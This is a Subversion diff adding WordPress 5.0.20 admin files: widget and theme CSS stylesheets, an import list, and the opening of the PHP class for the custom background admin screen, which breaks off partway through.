+	.theme-browser .theme.active .theme-actions,
+	.theme-browser .theme .theme-actions {
+		padding-top: 8px;
+		padding-bottom: 8px;
+	}
+}
+
+@media aural {
+	.theme .notice:before,
+	.theme-info .updating-message:before,
+	.theme-info .updated-message:before,
+	.theme-install.updating-message:before {
+		speak: none;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/widgets.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/widgets.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/widgets.css	(revision 56912)
@@ -0,0 +1,829 @@
+/* General Widgets Styles */
+
+.widget {
+	margin: 0 auto 10px;
+	position: relative;
+	box-sizing: border-box;
+}
+
+.widget-top {
+	font-size: 13px;
+	font-weight: 600;
+	background: #f7f7f7;
+}
+
+.widget-top .widget-action {
+	border: 0;
+	margin: 0;
+	padding: 10px;
+	background: none;
+	cursor: pointer;
+	outline: none;
+}
+
+.widget-title h3,
+.widget-title h4 {
+	margin: 0;
+	padding: 15px;
+	font-size: 1em;
+	line-height: 1;
+	overflow: hidden;
+	white-space: nowrap;
+	text-overflow: ellipsis;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.widgets-holder-wrap .widget-inside {
+	border-top: none;
+	padding: 1px 15px 15px 15px;
+	line-height: 16px;
+}
+
+.widget.widget-dirty .widget-control-close-wrapper {
+	display: none;
+}
+
+.in-widget-title,
+#widgets-right a.widget-control-edit,
+#available-widgets .widget-description {
+	color: #666;
+}
+
+.deleting .widget-title,
+.deleting .widget-top .widget-action .toggle-indicator:before {
+	color: #a0a5aa;
+}
+
+/* Media Widgets */
+.wp-core-ui .media-widget-control.selected .placeholder,
+.wp-core-ui .media-widget-control.selected .not-selected,
+.wp-core-ui .media-widget-control .selected {
+	display: none;
+}
+
+.media-widget-control.selected .selected {
+	display: inline-block;
+}
+
+.media-widget-buttons {
+	text-align: left;
+	margin-top: 0;
+}
+
+.media-widget-control .media-widget-buttons .button {
+	width: auto;
+	height: auto;
+	margin-top: 12px;
+	white-space: normal;
+}
+
+.media-widget-buttons .button:first-child {
+	margin-right: 8px;
+}
+
+.media-widget-control .placeholder {
+	border: 1px dashed #b4b9be;
+	box-sizing: border-box;
+	cursor: pointer;
+	line-height: 20px;
+	padding: 9px 0;
+	position: relative;
+	text-align: center;
+	width: 100%;
+}
+
+.media-widget-control .media-widget-preview {
+	background: transparent;
+	text-align: center;
+}
+.media-widget-control .media-widget-preview .notice {
+	text-align: initial;
+}
+.media-frame .media-widget-embed-notice p code,
+.media-widget-control .notice p code {
+	padding: 0 3px 0 0;
+}
+.media-frame .media-widget-embed-notice {
+	margin-top: 16px;
+}
+.media-widget-control .media-widget-preview img {
+	max-width: 100%;
+	vertical-align: middle;
+}
+.media-widget-control .media-widget-preview .wp-video-shortcode {
+	background: #000;
+}
+
+.media-frame.media-widget .media-toolbar-secondary {
+	min-width: 300px;
+}
+
+.media-frame.media-widget .image-details .embed-media-settings .setting.align,
+.media-frame.media-widget .attachment-display-settings .setting.align,
+.media-frame.media-widget .embed-media-settings .setting.align,
+.media-frame.media-widget .embed-link-settings .setting.link-text,
+.media-frame.media-widget .replace-attachment,
+.media-frame.media-widget .checkbox-setting.autoplay {
+	display: none;
+}
+
+.media-widget-video-preview {
+	width: 100%;
+}
+
+.media-widget-video-link {
+	display: inline-block;
+	min-height: 132px;
+	width: 100%;
+	background: black;
+}
+
+.media-widget-video-link .dashicons {
+	font: normal 60px/1 'dashicons';
+	position: relative;
+	width: 100%;
+	top: -90px;
+	color: white;
+	text-decoration: none;
+}
+
+.media-widget-video-link.no-poster .dashicons {
+	top: 30px;
+}
+
+.media-frame #embed-url-field.invalid,
+.media-widget-image-link > .link:invalid {
+	border: 1px solid #dc3232;
+}
+
+.media-widget-image-link {
+	margin: 1em 0;
+}
+
+.media-widget-gallery-preview {
+	display: flex;
+	justify-content: flex-start;
+	flex-wrap: wrap;
+	margin: -1.79104477%;
+}
+
+.media-widget-preview.media_gallery,
+.media-widget-preview.media_image {
+	cursor: pointer;
+}
+
+.media-widget-preview .placeholder {
+	background: #f1f1f1;
+}
+
+.media-widget-gallery-preview .gallery-item {
+	box-sizing: border-box;
+	width: 50%;
+	margin: 0;
+	background: transparent;
+}
+
+.media-widget-gallery-preview .gallery-item .gallery-icon {
+	margin: 4.5%;
+}
+
+/*
+ * Use targeted nth-last-child selectors to control the size of each image
+ * based on how many gallery items are present in the grid.
+ * See: https://alistapart.com/article/quantity-queries-for-css
+ */
+.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child,
+.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child ~ .gallery-item,
+.media-widget-gallery-preview .gallery-item:nth-last-child(n+5),
+.media-widget-gallery-preview .gallery-item:nth-last-child(n+5) ~ .gallery-item,
+.media-widget-gallery-preview .gallery-item:nth-last-child(n+6),
+.media-widget-gallery-preview .gallery-item:nth-last-child(n+6) ~ .gallery-item {
+	max-width: 33.33%;
+}
+
+.media-widget-gallery-preview .gallery-item img {
+	height: auto;
+	vertical-align: bottom;
+}
+
+.media-widget-gallery-preview .gallery-icon {
+	position: relative;
+}
+
+.media-widget-gallery-preview .gallery-icon-placeholder {
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	width: 100%;
+	box-sizing: border-box;
+	display: flex;
+	align-items: center;
+	justify-content: center;
+	background-color: rgba( 0, 0, 0, .5 );
+}
+
+.media-widget-gallery-preview .gallery-icon-placeholder-text {
+	font-weight: 600;
+	font-size: 2em;
+	color: white;
+}
+
+
+/* Widget Dragging Helpers */
+.widget.ui-draggable-dragging {
+	min-width: 100%;
+}
+
+.widget.ui-sortable-helper {
+	opacity: 0.8;
+}
+
+.widget-placeholder {
+	border: 1px dashed #b4b9be;
+	margin: 0 auto 10px;
+	height: 45px;
+	width: 100%;
+	box-sizing: border-box;
+}
+
+#widgets-right .widget-placeholder {
+	margin-top: 0;
+}
+
+#widgets-right .closed .widget-placeholder {
+	height: 0;
+	border: 0;
+	margin-top: -10px;
+}
+
+/* Widget Sidebars */
+.sidebar-name {
+	position: relative;
+	box-sizing: border-box;
+}
+
+.js .sidebar-name {
+	cursor: pointer;
+}
+
+.sidebar-name .handlediv {
+	float: right;
+	width: 38px;
+	height: 38px;
+	border: 0;
+	margin: 0;
+	padding: 8px;
+	background: none;
+	cursor: pointer;
+	outline: none;
+}
+
+#widgets-right .sidebar-name .handlediv {
+	margin: 5px 3px 0 0;
+}
+
+.sidebar-name .handlediv:focus {
+	box-shadow: none;
+	outline: none;
+}
+
+#widgets-left .sidebar-name .toggle-indicator {
+	display: none;
+}
+
+#widgets-left .widgets-holder-wrap.closed .sidebar-name .toggle-indicator,
+#widgets-left .sidebar-name:hover .toggle-indicator,
+#widgets-left .sidebar-name .handlediv:focus .toggle-indicator {
+	display: block;
+}
+
+.sidebar-name .toggle-indicator:before {
+	padding: 1px 2px 1px 0;
+	border-radius: 50%;
+}
+
+.sidebar-name .handlediv:focus .toggle-indicator:before {
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.sidebar-name h2,
+.sidebar-name h3 {
+	margin: 0;
+	padding: 8px 10px;
+	overflow: hidden;
+	white-space: nowrap;
+}
+
+.widgets-holder-wrap .description {
+	padding: 0 0 15px;
+	margin: 0;
+	font-style: normal;
+	color: #72777c;
+}
+
+.widget-holder .description,
+.inactive-sidebar .description {
+	color: #555d66;
+}
+
+#widgets-right .widgets-holder-wrap .description {
+	padding-left: 7px;
+	padding-right: 7px;
+}
+
+/* Widgets 2-col Layout */
+div.widget-liquid-left {
+	margin: 0;
+	width: 38%;
+	float: left;
+}
+
+div.widget-liquid-right {
+	float: right;
+	width: 58%;
+}
+
+/* Widgets Left - Available Widgets */
+
+div#widgets-left {
+	padding-top: 12px;
+}
+
+div#widgets-left .closed .sidebar-name,
+div#widgets-left .inactive-sidebar.closed .sidebar-name {
+	margin-bottom: 10px;
+}
+
+div#widgets-left .sidebar-name h2,
+div#widgets-left .sidebar-name h3 {
+	padding: 10px 0;
+	margin: 0 10px 0 0;
+}
+
+#widgets-left .widgets-holder-wrap,
+div#widgets-left .widget-holder {
+	background: transparent;
+	border: none;
+}
+
+#widgets-left .widgets-holder-wrap {
+	border: none;
+	box-shadow: none;
+}
+
+#available-widgets .widget-action {
+	display: none;
+}
+
+#available-widgets .widget {
+	margin: 0;
+}
+
+#available-widgets .widget:nth-child(odd) {
+	clear: both;
+}
+
+#available-widgets .widget .widget-description {
+	display: block;
+	padding: 10px 15px;
+	font-size: 12px;
+	overflow-wrap: break-word;
+	word-wrap: break-word;
+	-ms-word-break: break-all;
+	word-break: break-word;
+	-ms-hyphens: auto;
+	-webkit-hyphens: auto;
+	hyphens: auto;
+}
+
+#available-widgets #widget-list {
+	position: relative;
+}
+
+/* Inactive Sidebars */
+#widgets-left .inactive-sidebar {
+	clear: both;
+	width: 100%;
+	background: transparent;
+	padding: 0;
+	margin: 0 0 20px 0;
+	border: none;
+	box-shadow: none;
+}
+
+#widgets-left .inactive-sidebar.first {
+	margin-top: 40px;
+}
+
+/* Not sure what this is for... */
+div#widgets-left .inactive-sidebar .widget.expanded {
+	left: auto;
+}
+
+.widget-title-action {
+	float: right;
+	position: relative;
+}
+
+div#widgets-left .inactive-sidebar .widgets-sortables {
+	min-height: 42px;
+	padding: 0;
+	background: transparent;
+	margin: 0;
+	position: relative;
+}
+
+/* Widgets Right */
+
+div#widgets-right .sidebars-column-1,
+div#widgets-right .sidebars-column-2 {
+	max-width: 450px;
+}
+
+div#widgets-right .widgets-holder-wrap {
+	margin: 10px 0 0 0;
+}
+
+div#widgets-right .sidebar-description {
+	min-height: 20px;
+	margin-top: -5px;
+}
+
+div#widgets-right .sidebar-name h2,
+div#widgets-right .sidebar-name h3 {
+	padding: 15px 7px;
+}
+
+div#widgets-right .widget-top {
+	padding: 0;
+}
+
+div#widgets-right .widgets-sortables {
+	padding: 0 8px;
+	margin-bottom: 9px;
+	position: relative;
+	min-height: 123px;
+}
+
+div#widgets-right .closed .widgets-sortables {
+	min-height: 0;
+	margin-bottom: 0;
+}
+
+.sidebar-name .spinner,
+.remove-inactive-widgets .spinner {
+	float: none;
+	position: relative;
+	top: -2px;
+	margin: -5px 5px;
+}
+
+/* Dragging a widget over a closed sidebar */
+#widgets-right .widgets-holder-wrap.widget-hover {
+	border-color: #72777c;
+	box-shadow: 0 1px 2px rgba(0,0,0,0.3);
+}
+
+/* Accessibility Mode */
+.widgets_access #widgets-left .widget .widget-top {
+	cursor: auto;
+}
+
+.widgets_access #wpwrap .widgets-holder-wrap.closed .sidebar-description,
+.widgets_access #wpwrap .widgets-holder-wrap.closed .widget,
+.widgets_access #wpwrap .widget-control-edit {
+	display: block;
+}
+
+.widgets_access #widgets-left .widget .widget-top:hover,
+.widgets_access #widgets-right .widget .widget-top:hover {
+	border-color: #ddd;
+}
+
+#available-widgets .widget-control-edit .edit,
+#widgets-left .inactive-sidebar .widget-control-edit .add,
+#widgets-right .widget-control-edit .add {
+	display: none;
+}
+
+.widget-control-edit {
+	display: block;
+	color: #666;
+	background: #EEE;
+	padding: 0 15px;
+	line-height: 43px;
+	border-left: 1px solid #DDD;
+}
+
+#widgets-left .widget-control-edit:hover,
+#widgets-right .widget-control-edit:hover {
+	color: #fff;
+	background: #444;
+	border-left: 0;
+	outline: 1px solid #444;
+}
+
+.widgets-holder-wrap .sidebar-name,
+.widgets-holder-wrap .sidebar-description {
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.editwidget {
+	margin: 0 auto;
+}
+
+.editwidget .widget-inside {
+	display: block;
+	padding: 0 15px;
+}
+
+.editwidget .widget-control-actions {
+	margin-top: 20px;
+}
+
+.js .widgets-holder-wrap.closed .widget,
+.js .widgets-holder-wrap.closed .sidebar-description,
+.js .widgets-holder-wrap.closed .remove-inactive-widgets,
+.js .widgets-holder-wrap.closed .description,
+.js .closed br.clear {
+	display: none;
+}
+
+.js .widgets-holder-wrap.closed .widget.ui-sortable-helper {
+	display: block;
+}
+
+/* Hide Widget Settings by Default */
+.widget-inside,
+.widget-description {
+	display: none;
+}
+
+.widget-inside {
+	background: #fff;
+}
+
+/* Dragging widgets over the available widget area show's a "Deactivate" message */
+#removing-widget {
+	display: none;
+	font-weight: 400;
+	padding-left: 15px;
+	font-size: 12px;
+	line-height: 1;
+	color: black;
+}
+
+.js #removing-widget {
+	color: #00a0d2;
+}
+
+.widget-control-noform,
+#access-off,
+.widgets_access .widget-action,
+.widgets_access .handlediv,
+.widgets_access #access-on,
+.widgets_access .widget-holder .description,
+.no-js .widget-holder .description {
+	display: none;
+}
+
+.widgets_access .widget-holder,
+.widgets_access #widget-list {
+	padding-top: 10px;
+}
+
+.widgets_access #access-off {
+	display: inline;
+}
+
+.widgets_access .sidebar-name,
+.widgets_access .widget .widget-top {
+	cursor: default;
+}
+
+
+/* Widgets Area Chooser */
+.widget-liquid-left #widgets-left.chooser #available-widgets .widget,
+.widget-liquid-left #widgets-left.chooser .inactive-sidebar {
+	transition: opacity 0.1s linear;
+}
+
+.widget-liquid-left #widgets-left.chooser #available-widgets .widget,
+.widget-liquid-left #widgets-left.chooser .inactive-sidebar {
+	/* -webkit-filter: blur(1px); */
+	opacity: 0.2;
+	pointer-events: none;
+}
+
+.widget-liquid-left #widgets-left.chooser #available-widgets .widget-in-question {
+	/* -webkit-filter: none; */
+	opacity: 1;
+	pointer-events: auto;
+}
+
+.widgets-chooser ul,
+#widgets-left .widget-in-question .widget-top,
+#available-widgets .widget-top:hover,
+div#widgets-right .widget-top:hover,
+#widgets-left .widget-top:hover {
+	border-color: #999;
+	box-shadow: 0 1px 2px rgba(0,0,0,0.1);
+}
+
+.widgets-chooser ul.widgets-chooser-sidebars {
+	margin: 0;
+	list-style-type: none;
+	max-height: 300px;
+	overflow: auto;
+}
+
+.widgets-chooser {
+	display: none;
+}
+
+.widgets-chooser ul {
+	border: 1px solid #ccc;
+}
+
+.widgets-chooser li {
+	padding: 10px 15px 10px 35px;
+	border-bottom: 1px solid #ccc;
+	background: #fff;
+	margin: 0;
+	cursor: pointer;
+	outline: none;
+	position: relative;
+	transition: background 0.2s ease-in-out;
+}
+
+ /* @todo looks like these hover/focus states are overridden by .widgets-chooser-selected */
+.widgets-chooser li:hover,
+.widgets-chooser li:focus {
+	background: rgba(255,255,255,0.7);
+}
+
+.widgets-chooser li:focus:before {
+	content: "\f147";
+	display: block;
+	-webkit-font-smoothing: antialiased;
+	font: normal 26px/1 dashicons;
+	color: #555d66;
+	position: absolute;
+	top: 7px;
+	left: 5px;
+}
+
+.widgets-chooser li:last-child {
+	border: none;
+}
+
+.widgets-chooser li.widgets-chooser-selected {
+	background: #00a0d2;
+	color: #fff;
+}
+
+.widgets-chooser li.widgets-chooser-selected:before,
+.widgets-chooser li.widgets-chooser-selected:focus:before {
+	content: "\f147";
+	display: block;
+	-webkit-font-smoothing: antialiased;
+	font: normal 26px/1 dashicons;
+	color: #fff;
+	position: absolute;
+	top: 7px;
+	left: 5px;
+}
+
+.widgets-chooser .widgets-chooser-actions {
+	padding: 10px 0 12px 0;
+	text-align: center;
+}
+
+.widgets-chooser button {
+	margin-right: 5px;
+}
+
+#available-widgets .widget .widget-top {
+	cursor: pointer;
+}
+
+#available-widgets .widget.ui-draggable-dragging .widget-top {
+	cursor: move;
+}
+
+/* =Specific widget styling
+-------------------------------------------------------------- */
+.text-widget-fields {
+	position: relative;
+}
+.text-widget-fields [hidden] {
+	display: none;
+}
+.text-widget-fields .wp-pointer.wp-pointer-top {
+	position: absolute;
+	z-index: 3;
+	top: 100px;
+	right: 10px;
+	left: 10px;
+}
+.text-widget-fields .wp-pointer .wp-pointer-arrow {
+	left: auto;
+	right: 15px;
+}
+.text-widget-fields .wp-pointer .wp-pointer-buttons {
+	line-height: 1.4em;
+}
+
+.custom-html-widget-fields > p > .CodeMirror {
+	border: 1px solid #e5e5e5;
+}
+.custom-html-widget-fields code {
+	padding-top: 1px;
+	padding-bottom: 1px;
+}
+ul.CodeMirror-hints {
+	z-index: 101; /* Due to z-index 100 set on .widget.open */
+}
+.widget-control-actions .custom-html-widget-save-button.button.validation-blocked {
+	cursor: not-allowed;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+@media screen and (max-width: 480px) {
+	div.widget-liquid-left {
+		width: 100%;
+		float: none;
+		border-right: none;
+		padding-right: 0;
+	}
+
+	#widgets-left .sidebar-name {
+		margin-right: 0;
+	}
+
+	#widgets-left #available-widgets .widget-top {
+		margin-right: 0;
+	}
+
+	#widgets-left .inactive-sidebar .widgets-sortables {
+		margin-right: 0;
+	}
+
+	div.widget-liquid-right {
+		width: 100%;
+		float: none;
+	}
+
+	div.widget {
+		margin: 0 auto !important;
+		max-width: 480px;
+	}
+}
+
+@media screen and (max-width: 320px) {
+	div.widget {
+		max-width: 320px;
+	}
+}
+
+@media only screen and (min-width: 1250px) {
+	#widgets-left #available-widgets .widget {
+		width: 49%;
+		float: left;
+	}
+
+	.widget.ui-draggable-dragging {
+		min-width: 49%;
+	}
+
+	#widgets-left #available-widgets .widget:nth-child(even) {
+		float: right;
+	}
+
+	#widgets-right .sidebars-column-1,
+	#widgets-right .sidebars-column-2 {
+		float: left;
+		width: 49%;
+	}
+
+	#widgets-right .sidebars-column-1 {
+		margin-right: 2%;
+	}
+
+	#widgets-right.single-sidebar .sidebars-column-1,
+	#widgets-right.single-sidebar .sidebars-column-2 {
+		float: none;
+		width: 100%;
+		margin: 0;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/wp-admin.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/wp-admin.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/wp-admin.css	(revision 56912)
@@ -0,0 +1,14 @@
+@import url(common.css);
+@import url(forms.css);
+@import url(admin-menu.css);
+@import url(dashboard.css);
+@import url(list-tables.css);
+@import url(edit.css);
+@import url(revisions.css);
+@import url(media.css);
+@import url(themes.css);
+@import url(about.css);
+@import url(nav-menus.css);
+@import url(widgets.css);
+@import url(site-icon.css);
+@import url(l10n.css);
Index: /tags/5.0.20/src/wp-admin/custom-background.php
===================================================================
--- /tags/5.0.20/src/wp-admin/custom-background.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/custom-background.php	(revision 56912)
@@ -0,0 +1,560 @@
+<?php
+/**
+ * The custom background script.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * The custom background class.
+ *
+ * @since 3.0.0
+ */
+class Custom_Background {
+
+	/**
+	 * Callback for administration header.
+	 *
+	 * @var callable
+	 * @since 3.0.0
+	 */
+	public $admin_header_callback;
+
+	/**
+	 * Callback for header div.
+	 *
+	 * @var callable
+	 * @since 3.0.0
+	 */
+	public $admin_image_div_callback;
+
+	/**
+	 * Used to trigger a success message when settings updated and set to true.
+	 *
+	 * @since 3.0.0
+	 * @var bool
+	 */
+	private $updated;
+
+	/**
+	 * Constructor - Register administration header callback.
+	 *
+	 * @since 3.0.0
+	 * @param callable $admin_header_callback
+	 * @param callable $admin_image_div_callback Optional custom image div output callback.
+	 */
+	public function __construct($admin_header_callback = '', $admin_image_div_callback = '') {
+		$this->admin_header_callback = $admin_header_callback;
+		$this->admin_image_div_callback = $admin_image_div_callback;
+
+		add_action( 'admin_menu', array( $this, 'init' ) );
+
+		add_action( 'wp_ajax_custom-background-add', array( $this, 'ajax_background_add' ) );
+
+		// Unused since 3.5.0.
+		add_action( 'wp_ajax_set-background-image', array( $this, 'wp_set_background_image' ) );
+	}
+
+	/**
+	 * Set up the hooks for the Custom Background admin page.
+	 *
+	 * @since 3.0.0
+	 */
+	public function init() {
+		$page = add_theme_page( __( 'Background' ), __( 'Background' ), 'edit_theme_options', 'custom-background', array( $this, 'admin_page' ) );
+		if ( ! $page ) {
+			return;
+		}
+
+		add_action( "load-$page", array( $this, 'admin_load' ) );
+		add_action( "load-$page", array( $this, 'take_action' ), 49 );
+		add_action( "load-$page", array( $this, 'handle_upload' ), 49 );
+
+		if ( $this->admin_header_callback ) {
+			add_action( "admin_head-$page", $this->admin_header_callback, 51 );
+		}
+	}
+
+	/**
+	 * Set up the enqueue for the CSS & JavaScript files.
+	 *
+	 * @since 3.0.0
+	 */
+	public function admin_load() {
+		get_current_screen()->add_help_tab( array(
+			'id'      => 'overview',
+			'title'   => __('Overview'),
+			'content' =>
+				'<p>' . __( 'You can customize the look of your site without touching any of your theme&#8217;s code by using a custom background. Your background can be an image or a color.' ) . '</p>' .
+				'<p>' . __( 'To use a background image, simply upload it or choose an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button. You can display a single instance of your image, or tile it to fill the screen. You can have your background fixed in place, so your site content moves on top of it, or you can have it scroll with your site.' ) . '</p>' .
+				'<p>' . __( 'You can also choose a background color by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
+				'<p>' . __( 'Don&#8217;t forget to click on the Save Changes button when you are finished.' ) . '</p>'
+		) );
+
+		get_current_screen()->set_help_sidebar(
+			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+			'<p>' . __( '<a href="https://codex.wordpress.org/Appearance_Background_Screen">Documentation on Custom Background</a>' ) . '</p>' .
+			'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+		);
+
+		wp_enqueue_media();
+		wp_enqueue_script('custom-background');
+		wp_enqueue_style('wp-color-picker');
+	}
+
+	/**
+	 * Execute custom background modification.
+	 *
+	 * @since 3.0.0
+	 */
+	public function take_action() {
+		if ( empty($_POST) )
+			return;
+
+		if ( isset($_POST['reset-background']) ) {
+			check_admin_referer('custom-background-reset', '_wpnonce-custom-background-reset');
+			remove_theme_mod('background_image');
+			remove_theme_mod('background_image_thumb');
+			$this->updated = true;
+			return;
+		}
+
+		if ( isset($_POST['remove-background']) ) {
+			// @TODO: Uploaded files are not removed here.
+			check_admin_referer('custom-background-remove', '_wpnonce-custom-background-remove');
+			set_theme_mod('background_image', '');
+			set_theme_mod('background_image_thumb', '');
+			$this->updated = true;
+			wp_safe_redirect( $_POST['_wp_http_referer'] );
+			return;
+		}
+
+		if ( isset( $_POST['background-preset'] ) ) {
+			check_admin_referer( 'custom-background' );
+
+			if ( in_array( $_POST['background-preset'], array( 'default', 'fill', 'fit', 'repeat', 'custom' ), true ) ) {
+				$preset = $_POST['background-preset'];
+			} else {
+				$preset = 'default';
+			}
+
+			set_theme_mod( 'background_preset', $preset );
+		}
+
+		if ( isset( $_POST['background-position'] ) ) {
+			check_admin_referer( 'custom-background' );
+
+			$position = explode( ' ', $_POST['background-position'] );
+
+			if ( in_array( $position[0], array( 'left', 'center', 'right' ), true ) ) {
+				$position_x = $position[0];
+			} else {
+				$position_x = 'left';
+			}
+
+			if ( in_array( $position[1], array( 'top', 'center', 'bottom' ), true ) ) {
+				$position_y = $position[1];
+			} else {
+				$position_y = 'top';
+			}
+
+			set_theme_mod( 'background_position_x', $position_x );
+			set_theme_mod( 'background_position_y', $position_y );
+		}
+
+		if ( isset( $_POST['background-size'] ) ) {
+			check_admin_referer( 'custom-background' );
+
+			if ( in_array( $_POST['background-size'], array( 'auto', 'contain', 'cover' ), true ) ) {
+				$size = $_POST['background-size'];
+			} else {
+				$size = 'auto';
+			}
+
+			set_theme_mod( 'background_size', $size );
+		}
+
+		if ( isset( $_POST['background-repeat'] ) ) {
+			check_admin_referer( 'custom-background' );
+
+			$repeat = $_POST['background-repeat'];
+
+			if ( 'no-repeat' !== $repeat ) {
+				$repeat = 'repeat';
+			}
+
+			set_theme_mod( 'background_repeat', $repeat );
+		}
+
+		if ( isset( $_POST['background-attachment'] ) ) {
+			check_admin_referer( 'custom-background' );
+
+			$attachment = $_POST['background-attachment'];
+
+			if ( 'fixed' !== $attachment ) {
+				$attachment = 'scroll';
+			}
+
+			set_theme_mod( 'background_attachment', $attachment );
+		}
+
+		if ( isset($_POST['background-color']) ) {
+			check_admin_referer('custom-background');
+			$color = preg_replace('/[^0-9a-fA-F]/', '', $_POST['background-color']);
+			if ( strlen($color) == 6 || strlen($color) == 3 )
+				set_theme_mod('background_color', $color);
+			else
+				set_theme_mod('background_color', '');
+		}
+
+		$this->updated = true;
+	}
+
+	/**
+	 * Display the custom background page.
+	 *
+	 * @since 3.0.0
+	 */
+	public function admin_page() {
+?>
+<div class="wrap" id="custom-background">
+<h1><?php _e( 'Custom Background' ); ?></h1>
+
+<?php if ( current_user_can( 'customize' ) ) { ?>
+<div class="notice notice-info hide-if-no-customize">
+	<p>
+		<?php
+		printf(
+			__( 'You can now manage and live-preview Custom Backgrounds in the <a href="%1$s">Customizer</a>.' ),
+			admin_url( 'customize.php?autofocus[control]=background_image' )
+		);
+		?>
+	</p>
+</div>
+<?php } ?>
+
+<?php if ( ! empty( $this->updated ) ) { ?>
+<div id="message" class="updated">
+<p><?php printf( __( 'Background updated. <a href="%s">Visit your site</a> to see how it looks.' ), home_url( '/' ) ); ?></p>
+</div>
+<?php } ?>
+
+<h3><?php _e( 'Background Image' ); ?></h3>
+
+<table class="form-table">
+<tbody>
+<tr>
+<th scope="row"><?php _e( 'Preview' ); ?></th>
+<td>
+	<?php
+	if ( $this->admin_image_div_callback ) {
+		call_user_func( $this->admin_image_div_callback );
+	} else {
+		$background_styles = '';
+		if ( $bgcolor = get_background_color() )
+			$background_styles .= 'background-color: #' . $bgcolor . ';';
+
+		$background_image_thumb = get_background_image();
+		if ( $background_image_thumb ) {
+			$background_image_thumb = esc_url( set_url_scheme( get_theme_mod( 'background_image_thumb', str_replace( '%', '%%', $background_image_thumb ) ) ) );
+			$background_position_x = get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) );
+			$background_position_y = get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) );
+			$background_size = get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) );
+			$background_repeat = get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) );
+			$background_attachment = get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) );
+
+			// Background-image URL must be single quote, see below.
+			$background_styles .= " background-image: url('$background_image_thumb');"
+				. " background-size: $background_size;"
+				. " background-position: $background_position_x $background_position_y;"
+				. " background-repeat: $background_repeat;"
+				. " background-attachment: $background_attachment;";
+		}
+	?>
+	<div id="custom-background-image" style="<?php echo $background_styles; ?>"><?php // must be double quote, see above ?>
+		<?php if ( $background_image_thumb ) { ?>
+		<img class="custom-background-image" src="<?php echo $background_image_thumb; ?>" style="visibility:hidden;" alt="" /><br />
+		<img class="custom-background-image" src="<?php echo $background_image_thumb; ?>" style="visibility:hidden;" alt="" />
+		<?php } ?>
+	</div>
+	<?php } ?>
+</td>
+</tr>
+
+<?php if ( get_background_image() ) : ?>
+<tr>
+<th scope="row"><?php _e('Remove Image'); ?></th>
+<td>
+<form method="post">
+<?php wp_nonce_field('custom-background-remove', '_wpnonce-custom-background-remove'); ?>
+<?php submit_button( __( 'Remove Background Image' ), '', 'remove-background', false ); ?><br/>
+<?php _e('This will remove the background image. You will not be able to restore any customizations.') ?>
+</form>
+</td>
+</tr>
+<?php endif; ?>
+
+<?php $default_image = get_theme_support( 'custom-background', 'default-image' ); ?>
+<?php if ( $default_image && get_background_image() != $default_image ) : ?>
+<tr>
+<th scope="row"><?php _e('Restore Original Image'); ?></th>
+<td>
+<form method="post">
+<?php wp_nonce_field('custom-background-reset', '_wpnonce-custom-background-reset'); ?>
+<?php submit_button( __( 'Restore Original Image' ), '', 'reset-background', false ); ?><br/>
+<?php _e('This will restore the original background image. You will not be able to restore any customizations.') ?>
+</form>
+</td>
+</tr>
+<?php endif; ?>
+
+<?php if ( current_user_can( 'upload_files' ) ): ?>
+<tr>
+<th scope="row"><?php _e('Select Image'); ?></th>
+<td><form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post">
+	<p>
+		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
+		<input type="file" id="upload" name="import" />
+		<input type="hidden" name="action" value="save" />
+		<?php wp_nonce_field( 'custom-background-upload', '_wpnonce-custom-background-upload' ); ?>
+		<?php submit_button( __( 'Upload' ), '', 'submit', false ); ?>
+	</p>
+	<p>
+		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
+		<button id="choose-from-library-link" class="button"
+			data-choose="<?php esc_attr_e( 'Choose a Background Image' ); ?>"
+			data-update="<?php esc_attr_e( 'Set as background' ); ?>"><?php _e( 'Choose Image' ); ?></button>
+	</p>
+	</form>
+</td>
+</tr>
+<?php endif; ?>
+</tbody>
+</table>
+
+<h3><?php _e( 'Display Options' ); ?></h3>
+<form method="post">
+<table class="form-table">
+<tbody>
+<?php if ( get_background_image() ) : ?>
+<input name="background-preset" type="hidden" value="custom">
+
+<?php
+$background_position = sprintf(
+	'%s %s',
+	get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) ),
+	get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) )
+);
+
+$background_position_options = array(
+	array(
+		'left top'   => array( 'label' => __( 'Top Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ),
+		'center top' => array( 'label' => __( 'Top' ), 'icon' => 'dashicons dashicons-arrow-up-alt' ),
+		'right top'  => array( 'label' => __( 'Top Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ),
+	),
+	array(
